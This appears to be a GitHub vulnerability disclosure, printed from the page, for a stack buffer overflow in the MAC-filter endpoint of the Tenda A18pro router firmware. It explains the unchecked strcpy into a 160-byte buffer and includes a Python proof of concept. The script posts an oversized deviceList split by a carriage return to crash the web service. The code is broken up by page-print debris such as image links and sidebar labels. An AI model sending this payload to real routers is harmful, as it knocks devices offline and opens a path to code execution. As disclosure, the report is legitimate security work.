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Detail Information

Vendor Tenda (深圳市腾达科技股份有限公司)

Product Tenda A18pro

Affected Version Firmware V02.03.02.28
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Vulnerability Description

During a security review of the Tenda A18pro router firmware (version V02.03.02.28), a critical stack-based
buffer overflow vulnerability was identified in the MAC filtering configuration endpoint

/goform/setMacFilterCfg .

The vulnerability resides in the sub_423B50  function (responsible for parsing MAC filter rules). This function

is triggered when a user submits a configuration request via the deviceList  parameter. The function uses

strchr  to locate a carriage return character ( \r , ASCII 13) within the user-provided string. Once found, it
employs the unsafe strcpy  function to copy the split substrings into a fixed-size stack buffer v15  (160

bytes). Since the length of the input strings is not validated before the copy operation, an attacker can
provide a specially crafted long string to overwrite the stack frame, including the return address, leading to a
Denial of Service (DoS) or potential Remote Code Execution (RCE).

Root Cause

The vulnerability is caused by a failure to perform bounds checking when copying string data from a web
request into a local stack buffer.

1. Parameter Flow: The request handler sub_424D20  retrieves the deviceList  variable and processes it

line by line (delimited by \n ), passing each line to sub_423B50 .

2. Vulnerable Sink: Inside sub_423B50 , a local buffer char v15[160]  is defined.

3. Buffer Overflow: The function executes strcpy  for the "name" part and the "MAC" part. If the segment

of the list exceeds the remaining capacity of the 160-byte buffer, it overflows the stack.

4. Impact: An attacker can control the execution flow by overwriting the Saved Return Address (RA) on the
stack.

Vulnerable Code Logic (IDA Pro Pseudo-code):
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4. Firmware Emulation

The firmware was successfully emulated. The web interface is accessible, and the vulnerability can be
triggered in the simulated environment.

Proof of Concept (PoC)

The following Python script demonstrates how to trigger the vulnerability by sending an oversized

deviceList  containing the \r  delimiter, leading to a service crash.

import requests

url = "http://192.168.15.142/goform/setMacFilterCfg"

# Construct Payload

# 1. Include \r (ASCII 13) to trigger the vulnerable branch

# 2. Both segments are long enough (> 160 bytes) to overflow the buffer

long_name = b"A" * 5000

long_mac = b"B" * 5000

payload_str = long_name + b"\r" + long_mac

payload = {

    'macFilterType': 'black',

    'deviceList': payload_str

}

print(f"[*] Sending exploit to {url}...")

try:

    # Sending POST request to trigger the overflow in parse_macfilter_rule

    res = requests.post(url, data=payload, timeout=5)

4/7/26, 11:01 PM Tenda Router A18pro V02.03.02.28 - Stack-based Buffer Overflow in `/goform/setMacFilterCfg` · Issue #5 · lilukun…

https://github.com/lilukun337/cve/issues/5 5/7

https://private-user-images.githubusercontent.com/265974316/559114292-c0a87f09-940b-491a-940b-96d4425fe5f8.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzU2MDMxNjYsIm5iZiI6MTc3NTYwMjg2NiwicGF0aCI6Ii8yNjU5NzQzMTYvNTU5MTE0MjkyLWMwYTg3ZjA5LTk0MGItNDkxYS05NDBiLTk2ZDQ0MjVmZTVmOC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDA3JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQwN1QyMzAxMDZaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT00ZDFiOTA1YWJkNWM1MjFlOTQ3MWZlMDk2NDk0OGJjNTU5N2JjM2Q2MDg2YTlhM2Q1NjNlYjhlODZhMDg1NTI2JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.HeqSUUlPIetA8qzNOuzZHLbUdZlzWzBn4CSa3-FGtV4
https://private-user-images.githubusercontent.com/265974316/559114292-c0a87f09-940b-491a-940b-96d4425fe5f8.png?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJnaXRodWIuY29tIiwiYXVkIjoicmF3LmdpdGh1YnVzZXJjb250ZW50LmNvbSIsImtleSI6ImtleTUiLCJleHAiOjE3NzU2MDMxNjYsIm5iZiI6MTc3NTYwMjg2NiwicGF0aCI6Ii8yNjU5NzQzMTYvNTU5MTE0MjkyLWMwYTg3ZjA5LTk0MGItNDkxYS05NDBiLTk2ZDQ0MjVmZTVmOC5wbmc_WC1BbXotQWxnb3JpdGhtPUFXUzQtSE1BQy1TSEEyNTYmWC1BbXotQ3JlZGVudGlhbD1BS0lBVkNPRFlMU0E1M1BRSzRaQSUyRjIwMjYwNDA3JTJGdXMtZWFzdC0xJTJGczMlMkZhd3M0X3JlcXVlc3QmWC1BbXotRGF0ZT0yMDI2MDQwN1QyMzAxMDZaJlgtQW16LUV4cGlyZXM9MzAwJlgtQW16LVNpZ25hdHVyZT00ZDFiOTA1YWJkNWM1MjFlOTQ3MWZlMDk2NDk0OGJjNTU5N2JjM2Q2MDg2YTlhM2Q1NjNlYjhlODZhMDg1NTI2JlgtQW16LVNpZ25lZEhlYWRlcnM9aG9zdCJ9.HeqSUUlPIetA8qzNOuzZHLbUdZlzWzBn4CSa3-FGtV4


Metadata

No one assigned

Assignees

No labels

Labels

No projects

Projects

No milestone

Milestone

None yet

Relationships

Running the PoC

    print(f"[+] Request completed, status code: {res.status_code}")

except requests.exceptions.Timeout:

    print("[+] Success: Service timed out, likely crashed.")

except Exception as e:

    print(f"[-] Exception: {e}")
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